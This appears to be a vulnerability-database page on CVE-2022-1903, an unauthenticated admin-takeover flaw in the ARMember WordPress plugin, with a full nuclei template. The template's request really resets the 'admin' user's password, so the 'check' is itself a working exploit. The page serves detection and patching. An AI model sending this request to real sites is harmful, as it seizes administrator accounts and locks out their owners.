HexBrain

Browse / CVEs / CVE-2022-1903

CVE-2022-1903· armemberplugin / armember· CWE-862

ARMember < 3.4.8 - Unauthenticated Admin Account Takeover

highseverity
8.1CVSS score
8.7%likelihood of exploitation, next 30 days
95%of all CVEs are less likely
Readycheck to confirm it

The ARMember WordPress plugin before 3.4.8 is vulnerable to account takeover (even the administrator) due to missing nonce and authorization checks in an AJAX action available to unauthenticated users, allowing them to change the password of arbitrary users by knowing their username.

Impact

An attacker can gain unauthorized access to the admin account, potentially leading to further compromise of the system.

Fix

Fixed in version 3.4.8

How to confirm it

Send: POST /wp-admin/admin-ajax.php
Positive when: contains "Your Password has been reset" and "arm_success_msg" AND contains in header "text/html" AND status 200

Run it with nuclei: nuclei -id CVE-2022-1903 -u <target>

The full check
id: CVE-2022-1903

info:
  name: ARMember < 3.4.8 - Unauthenticated Admin Account Takeover
  author: theamanrawat
  severity: high
  description: |
    The ARMember WordPress plugin before 3.4.8 is vulnerable to account takeover (even the administrator) due to missing nonce and authorization checks in an AJAX action available to unauthenticated users, allowing them to change the password of arbitrary users by knowing their username.
  impact: |
    An attacker can gain unauthorized access to the admin account, potentially leading to further compromise of the system.
  remediation: Fixed in version 3.4.8
  reference:
    - https://wpscan.com/vulnerability/28d26aa6-a8db-4c20-9ec7-39821c606a08
    - https://wordpress.org/plugins/armember-membership/
    - https://nvd.nist.gov/vuln/detail/CVE-2022-1903
    - https://github.com/SYRTI/POC_to_review
    - https://github.com/WhooAmii/POC_to_review
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 8.1
    cve-id: CVE-2022-1903
    cwe-id: CWE-862
    epss-score: 0.08704
    epss-percentile: 0.95177
    cpe: cpe:2.3:a:armemberplugin:armember:*:*:*:*:*:wordpress:*:*
  metadata:
    verified: true
    max-request: 1
    vendor: armemberplugin
    product: armember
    framework: wordpress
  tags: cve,cve2022,account-takeover,wpscan,wordpress,wp-plugin,wp,armember-membership,unauthenticated,armemberplugin,vkev,vuln

http:
  - raw:
      - |
        POST /wp-admin/admin-ajax.php HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        action=arm_shortcode_form_ajax_action&user_pass={{randstr}}&repeat_pass={{randstr}}&arm_action=change-password&key2=x&action2=rp&login2=admin

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - "Your Password has been reset"
          - "arm_success_msg"
        condition: and

      - type: word
        part: header
        words:
          - "text/html"

      - type: status
        status:
          - 200

References

Use this check only on systems you are authorised to test. Where the data comes from